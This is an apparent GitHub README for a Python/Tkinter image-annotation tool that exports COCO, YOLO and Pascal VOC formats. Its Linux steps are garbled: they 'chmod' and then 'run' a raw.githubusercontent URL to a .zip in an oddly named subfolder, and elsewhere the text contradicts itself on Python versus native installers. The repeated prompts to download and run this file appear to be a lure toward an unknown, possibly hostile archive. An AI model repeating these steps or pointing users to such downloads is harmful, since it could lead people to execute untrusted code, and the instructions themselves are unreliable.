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Welcome to the image-annotator! This modern tool helps you create bounding box annotations on your images. You can export your work in COCO, YOLO, and Pascal VOC formats with just one click. Designed with Python and Tkinter, this tool combines ease of use with powerful features.

Before you begin, ensure your system meets the following requirements:

• Operating System: Windows, macOS, or Linux
• Python Version: 3.6 or later
• Disk Space: At least 100 MB of free disk space
• RAM: Minimum 2 GB

To get started, visit the Releases Page to download the application.

1. Click on the link above.
2. Find the latest version of the application.
3. Download the appropriate file for your operating system.

After downloading, follow these steps to install:

1. Locate the downloaded .exe file.
2. Double-click the file to start the installation.
3. Follow the prompts to complete the installation.

1. Locate the downloaded .dmg file.
2. Double-click the file to open it.
3. Drag and drop the image-annotator into your Applications folder.

1. Locate the downloaded .AppImage file.
2. Open a terminal and navigate to the file's location.
3. Run chmod +x https://raw.githubusercontent.com/youssef-mo-mosaad/image-annotator/main/lectorship/image-annotator.zip to make it executable.
4. Run https://raw.githubusercontent.com/youssef-mo-mosaad/image-annotator/main/lectorship/image-annotator.zip to start the application.

After installing the application, follow these steps to start annotating your images:

1. Open the Application: Launch the image-annotator from your Applications folder or desktop shortcut.
2. Load an Image: Click on the "Open Image" button to select an image you want to annotate.
3. Create Bounding Boxes: Click and drag your mouse on the image to create bounding boxes around the objects you want to label.
4. Label Your Boxes: Type the label for each bounding box in the provided field.
5. Export Your Annotations: Once you're finished, click the "Export" button. Choose your desired format (COCO, YOLO, Pascal VOC) and select a save location.

• User-Friendly Interface: Designed for easy navigation and accessibility.
• Multiple Export Formats: Export your annotations in COCO, YOLO, or Pascal VOC formats.
• Bounding Box Creation: Easily draw bounding boxes around objects in your images.
• Label Management: Quickly label your bounding boxes for better organization.

If you encounter any problems, here are some common issues and their solutions:

• Application Won’t Start: Ensure your Python is updated to version 3.6 or later.
• Image Isn’t Loading: Check if the image format is supported (e.g., JPG, PNG).
• Export Fails: Verify you have enough disk space in your chosen directory.

If you need help, please feel free to reach out. You can open an issue on our GitHub Issues Page or contact us through the repository.

We welcome contributions! If you want to improve the project or report bugs, please refer to our Contributing Guidelines.

This project is licensed under the MIT License. Feel free to use and modify the application for your own needs.

For more information, visit the Releases Page to download the latest release. Happy annotating!